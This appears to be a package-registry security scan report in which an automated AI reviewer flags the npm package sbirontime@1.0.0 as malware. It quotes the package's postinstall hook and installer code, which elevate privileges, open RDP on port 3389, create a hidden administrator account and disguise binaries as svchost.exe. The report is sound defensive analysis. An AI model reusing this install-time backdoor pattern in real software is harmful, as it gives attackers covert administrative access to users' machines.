registry / sbirontime / 1.0.0

sbirontime@1.0.0

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Npm postinstall requests elevation and configures a concealed Windows remote-access foothold. It enables RDP/firewall access, creates or enables a privileged RDP account, and disguises installed binaries.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation on Windows runs `install --postinstall`; non-passive CLI use can also trigger first-run setup.

Impact

Unauthorized persistent administrative remote access through port 3389 and reduced user visibility of the installed service/account.

Mechanism

Privileged RDP backdoor provisioning with hidden administrator account and executable impersonation.

Attack narrative

On npm installation, the package runs a postinstall command that elevates through UAC. Its installer deploys bundled executables, creates/starts a service, installs RDP Wrapper, opens inbound TCP and UDP port 3389 rules, enables or creates an administrator-capable RDP user, hides that user from the sign-in screen, and marks folders hidden/system. It also rewrites executable resources to appear as Microsoft svchost.exe. These actions establish a concealed, privileged remote-access foothold without an explicit user command.

Rationale

This is concrete malicious install-time behavior: a hidden privileged account, exposed RDP listener, stealth filesystem changes, and Windows-service impersonation. The absence of observed exfiltration endpoints does not reduce the direct backdoor risk.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jspayload/bikli-cli-installer.exepayload/RDPWInst.exeC:\ProgramData\BikliWrapper\admin-credentials.json

C:\Program Files\Bikli

C:\Program Files\RDP Wrapper

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Postinstall invokes the privileged installer automatically.
Installer silently installs payloads, provisions a service, enables RDP, creates an administrator, and hides folders.
RDP Wrapper creates inbound TCP/UDP firewall rules on port 3389 for every profile.
Account setup adds an account to Administrators and Remote Desktop Users, then hides it from the Windows sign-in list.
Executable metadata is rewritten to impersonate Microsoft svchost.exe.

Evidence against

No HTTP/network-exfiltration endpoint appears in inspected JavaScript.
Bundled payload checksums are verified before installation, but this does not mitigate the hostile privileged actions.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystem

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 69.4 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

Findings

3 High4 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturebin/biklimaster.js

HighAi Review Evidencebin/biklimaster.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumShips Native Binarypayload/bikli-cli-installer.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LPM CLI

bin/biklimaster.jsView file

•matchType = malicious_source_fingerprint_signature signature = 146cbd4fd455e454 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = sbman@1.0.5 matchedPath = bin/biklimaster.js matchedIdentity = npm:c2JtYW4:1.0.5 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/biklimaster.jsView on unpkg

591function install() { requireWindows(); if (!isAdministrator()) return elevateAndRun('install'); verifyPayload(); installBikli(); const serviceProvisioned = ensureBikliService(); if (serviceProvisioned) disguiseBikli(); try { setupBikliKey(); } catch (error) { console.error(`Warning: Bikli key setup skipped: ${error.message}`); console.error('Run "biklitool setup-key" later to retry.'); } console.log('Installing or updating Bikli Wrapper silently...'); const wrapper = runWrapper(['install', '--elevated']); if (wrapper.stdout.trim()) console.log(wrapper.stdout

High

Ai Review Evidence

Installer silently installs payloads, provisions a service, enables RDP, creates an administrator, and hides folders.

bin/biklimaster.jsView on unpkg · L591

postinstall

Behavioral surface

ChildProcessCryptoEnvironmentVarsFilesystemHighEntropyStringsManifest: clean

Source & flagged code

5 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

"bin/biklimaster.js"

,

14 "biklimaster": "bin/biklimaster.js",

15 "bikliwrapper": "lib/bikliwrapper.js"

16 },

17 "files": [

18 "bin",

19 "lib",

20 "payload",

21 "config.json",

22 "README.md",

23 "LICENSE-BIKLI",

24 "LICENSE-RDPWRAPPER"

25 ],

26 "scripts": {

27 "postinstall": "node bin/biklimaster.js install --postinstall",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L27

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L27

28 "test": "node bin/biklimaster.js self-test"

29 },

30 "engines": {

31 "node": ">=18"

32 },

33 "keywords": [

34 "bikli",

35 "rdp",

36 "vpn",

37 "windows",

38 "installer"

39 ]

40}

41

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

bin/biklimaster.jsView file

Lines 571-611javascript

571function enableRemoteDesktop() {

572 requireWindows();

573 if (!isAdministrator()) return elevateAndRun('enable-rdp');

574 verifyPayload();

575 console.

log

(

'Enabling Remote Desktop and applying the firewall and security defaults...'

);

576 const wrapper = runWrapper(['defaults', '--elevated']);

577 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

578 verifyRemoteDesktop();

579 hideProtectedFolders();

580}

581

582function disableRemoteDesktop() {

583 requireWindows();

584 if (!isAdministrator()) return elevateAndRun('disable-rdp');

585 const wrapper = runWrapper(['disable', '--elevated']);

586 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

587 if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);

588 console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');

589}

590

591function install() {

592 requireWindows();

593 if (!isAdministrator()) return elevateAndRun('install');

594 verifyPayload();

595 installBikli();

596 const serviceProvisioned = ensureBikliService();

597 if (serviceProvisioned) disguiseBikli();

598 try {

599 setupBikliKey();

600 } catch (error) {

601 console.error(`Warning: Bikli key setup skipped: ${error.message}`);

602 console.error('Run "biklitool setup-key" later to retry.');

High

Ai Review Evidence

Installer silently installs payloads, provisions a service, enables RDP, creates an administrator, and hides folders.

bin/biklimaster.jsView on unpkg · L591

603 }

604 console.log('Installing or updating Bikli Wrapper silently...');

605 const wrapper = runWrapper(['install', '--elevated']);

606 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

607 verifyRemoteDesktop();

608 createRdpAdministrator();

609 hideProtectedFolders();

610 try {

611 fs.mkdirSync(path.dirname(setupCompleteMarker()), { recursive: true });

•matchType = malicious_source_fingerprint_signature signature = 146cbd4fd455e454 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = sbman@1.0.5 matchedPath = bin/biklimaster.js matchedIdentity = npm:c2JtYW4:1.0.5 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/biklimaster.jsView on unpkg